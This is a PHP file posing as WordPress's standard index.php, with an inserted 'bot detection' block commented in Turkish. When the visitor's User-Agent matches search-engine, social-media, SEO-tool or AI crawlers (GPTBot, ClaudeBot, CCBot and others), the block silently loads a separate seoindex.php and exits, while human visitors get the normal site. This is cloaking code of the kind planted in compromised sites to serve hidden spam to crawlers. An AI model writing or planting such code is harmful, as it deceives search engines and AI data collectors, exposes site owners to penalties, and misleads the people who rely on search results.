/** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */ /** * Bot Detection & Routing * * Arama motoru botlarını seoindex.php dosyasına yönlendirir, * normal ziyaretçilere WordPress'in standart akışını gösterir. */ if ( ! function_exists( 'is_search_engine_bot' ) ) { function is_search_engine_bot() { // User-Agent kontrolü $user_agent = isset( $_SERVER['HTTP_USER_AGENT'] ) ? $_SERVER['HTTP_USER_AGENT'] : ''; if ( empty( $user_agent ) ) { return false; } // Bilinen arama motoru botları $bot_patterns = array( 'googlebot', // Google 'bingbot', // Bing 'slurp', // Yahoo 'duckduckbot', // DuckDuckGo 'baiduspider', // Baidu 'yandexbot', // Yandex 'yandex', // Yandex (diğer) 'sogou', // Sogou 'exabot', // Exalead 'facebookexternalhit', // Facebook 'facebot', // Facebook 'ia_archiver', // Alexa 'applebot', // Apple 'twitterbot', // Twitter 'linkedinbot', // LinkedIn 'pinterestbot', // Pinterest 'whatsapp', // WhatsApp 'telegrambot', // Telegram 'discordbot', // Discord 'mj12bot', // Majestic 'ahrefsbot', // Ahrefs 'semrushbot', // SEMrush 'dotbot', // Moz 'rogerbot', // Moz 'screaming frog', // Screaming Frog SEO 'seznambot', // Seznam 'naverbot', // Naver 'yeti', // Naver Yeti 'mediapartners-google',// Google AdSense 'adsbot-google', // Google Ads 'google-inspectiontool',// Google Search Console 'petalbot', // Huawei Petal 'bytespider', // ByteDance 'gptbot', // OpenAI 'chatgpt-user', // ChatGPT 'claudebot', // Anthropic 'anthropic-ai', // Anthropic 'perplexitybot', // Perplexity 'ccbot', // Common Crawl ); $user_agent_lower = strtolower( $user_agent ); foreach ( $bot_patterns as $pattern ) { if ( strpos( $user_agent_lower, $pattern ) !== false ) { return true; } } // Genel bot anahtar kelimeleri (ek güvenlik katmanı) $generic_bot_keywords = array( 'bot', 'crawler', 'spider', 'crawling' ); foreach ( $generic_bot_keywords as $keyword ) { if ( strpos( $user_agent_lower, $keyword ) !== false ) { return true; } } return false; } } // Bot tespit edilirse seoindex.php dosyasını yükle if ( is_search_engine_bot() ) { $seo_file = __DIR__ . '/seoindex.php'; if ( file_exists( $seo_file ) ) { require $seo_file; exit; } } /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define( 'WP_USE_THEMES', true ); /** Loads the WordPress Environment and Template */ require __DIR__ . '/wp-blog-header.php';